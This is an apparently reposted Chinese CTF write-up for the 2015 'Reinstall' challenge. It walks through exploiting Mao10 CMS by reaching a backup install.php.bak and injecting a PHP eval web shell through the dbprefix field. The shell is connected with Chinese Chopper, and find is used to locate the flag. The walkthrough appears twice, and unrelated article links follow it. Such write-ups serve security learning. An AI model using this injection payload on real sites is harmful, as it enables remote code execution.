2015中国网络安全大赛:Reinstall
2015-11-02 21:56
1076 查看
看题分析:网站是一个MAO10 CMS的系统,直接关键字搜索,找到一篇《Mao10CMS前台Getshell》的文章。
0x00 收集信息
在www.mao10.com找到如下说明
//将程序上传到网站空间后,访问 http://你的域名/install.php 进行安装
0x01 install.php
直接加上后缀,直接404,应该没那么简单。既然方向是对的,install文件又不存在,然后就想到了备份文件,使用install.php.bak访问
![](https://oscdn.geek-share.com/Uploads/Images/Content/201511/02/53ad1dfc3946fff95ba315480e385615)
0x02 dbprefix
根据《Mao10CMS前台Getshell》的表述,可写马字段为dbprefix。在这之前我们先来了解一下最后形成的Application/Common/Conf/db.php的格式
![](https://oscdn.geek-share.com/Uploads/Images/Content/201511/02/8a1c45a7ee74a8fa65175804481c2d31)
我们要做的就是填补这个数组格式,于是我们提交 mc_',@eval($_POST[pass]),//
db.php如下:
![](https://oscdn.geek-share.com/Uploads/Images/Content/201511/02/1f6c942a87c7795781cf782d4737494a)
最后使用菜刀连接
![](https://oscdn.geek-share.com/Uploads/Images/Content/201511/02/8b6bdab3dc57f56403071739e6f3a568)
0x03 flag
shell已得,如何找个flag是问题,根据题意,flag是一个文件,于是想到使用find命令查找文件
find ~ -name '*flag*'
![](https://oscdn.geek-share.com/Uploads/Images/Content/201511/02/c33875292767111ae9abd3708e2bfae7)
打开文件,找到flag
![](https://oscdn.geek-share.com/Uploads/Images/Content/201511/02/502236038b4a76d906232d8bbf8a844c)
试验环境:www.ichunqiu.com
0x00 收集信息
在www.mao10.com找到如下说明
//将程序上传到网站空间后,访问 http://你的域名/install.php 进行安装
0x01 install.php
直接加上后缀,直接404,应该没那么简单。既然方向是对的,install文件又不存在,然后就想到了备份文件,使用install.php.bak访问
0x02 dbprefix
根据《Mao10CMS前台Getshell》的表述,可写马字段为dbprefix。在这之前我们先来了解一下最后形成的Application/Common/Conf/db.php的格式
我们要做的就是填补这个数组格式,于是我们提交 mc_',@eval($_POST[pass]),//
db.php如下:
最后使用菜刀连接
0x03 flag
shell已得,如何找个flag是问题,根据题意,flag是一个文件,于是想到使用find命令查找文件
find ~ -name '*flag*'
打开文件,找到flag
试验环境:www.ichunqiu.com
相关文章推荐
- 从源码安装Mysql/Percona 5.5
- Varnish Install And Configure
- 安装软件 Nullsoft Install System 2.27汉化版 下载
- node.js使用npm 安装插件时提示install Error: ENOENT报错的解决方法
- linux下安装easy_install的方法
- nodejs npm install全局安装和本地安装的区别
- Maven intall OR Maven build
- 细说Ruby工程的Bundle以及如何加快bundle install
- mac 源码安装Openssl
- HowTo: Bind10 resolver @ Fedora 19
- ppm:Install area 'soft' does not exist
- Windows下面安装和配置MySQL(5.6.20)
- On Window 7 to install DB2 error summarize
- xcode install multiple version
- Linux安装JDK
- Android常用代码之普通及系统权限静默安装APK
- Android常用代码之普通及系统权限静默安装APK
- Writing a SlackBuild script
- CentOS 安装mysql
- install Oracle Database insilent